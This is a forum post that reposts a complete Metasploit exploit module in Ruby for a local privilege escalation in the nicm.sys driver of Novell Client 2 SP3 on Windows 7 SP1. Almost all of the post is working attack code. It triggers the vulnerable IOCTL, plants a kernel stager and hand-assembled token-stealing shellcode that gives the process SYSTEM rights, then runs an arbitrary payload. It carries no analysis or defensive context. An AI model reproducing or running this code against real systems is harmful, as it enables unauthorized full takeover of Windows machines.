Jump to content
Matt

Novell Client 2 SP3 nicm.sys Local Privilege Escalation

Recommended Posts

Posted

Author : metasploit

Source : Novell Client 2 SP3 nicm.sys Local Privilege Escalation

Code :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::Common
include Msf::Post::Windows::Priv

def initialize(info={})
super(update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic', { } ],
[ 'Windows 7 SP1',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB', '93718' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
],
'DisclosureDate' => 'May 22 2013',
'DefaultTarget' => 0
}))

end

def add_railgun_functions
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])

session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])

session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ]
])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end

def open_device(dev)

invalid_handle_value = 0xFFFFFFFF

r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

handle = r['return']

if handle == invalid_handle_value
return nil
end

return handle
end

def execute_shellcode(shell_addr)

vprint_status("Creating the thread to execute the shellcode...")
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
if ret['return'] < 1
vprint_error("Unable to CreateThread")
return nil
end
hthread = ret['return']

vprint_status("Resuming the Thread...")
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret['return'] < 1
vprint_error("Unable to ResumeThread")
return nil
end

return true
end

def ring0_shellcode(t)
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!

return tokenstealing
end


def allocate_memory(proc, address, length)

result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory")
return nil
end

my_address = result["BaseAddress"].unpack("V")[0]

vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")

if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("0x#{my_address.to_s(16)} is now writable")
end

return my_address
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def check
handle = open_device("\\\\.\\nicm")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end

def exploit

vprint_status("Adding the railgun stuff...")
add_railgun_functions

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
end

my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
if os =~ /windows 7/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end

if my_target.nil?
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")
end

print_status("Checking device...")
handle = open_device("\\\\.\\nicm")
if handle.nil?
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found")
else
print_good("\\\\.\\nicm found!")
end

this_proc = session.sys.process.open

print_status("Storing the Kernel stager on memory...")
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)

if stager_address.nil? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
end

# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14, # stager_address
junk,
junk,
junk,
junk,
stager_address + 0x18, # stager_address + 0x14
junk,
junk,
junk,
stager_address + 0x28 # stager_address + 0x24
].pack("V*")

kernel_stager << ring0_shellcode(my_target)

result = this_proc.memory.write(stager_address, kernel_stager)

if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end


print_status("Triggering the vulnerability to execute the Kernel Handler")
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle)

if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
end

print_status("Checking privileges after exploitation...")

if not is_system?
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end

print_status("Storing the final payload on memory...")

shell_address = 0x0c0c0000
shell_address = allocate_memory(this_proc, shell_address, 0x1000)

if shell_address.nil?
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
end

result = this_proc.memory.write(shell_address, payload.encoded)

if result.nil?
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
else
print_good("Contents successfully written to 0x#{shell_address.to_s(16)}")
end

print_status("Executing the payload...")
result = execute_shellcode(shell_address)
if result.nil?
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
else
print_good("Enjoy!")
end
end

end

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...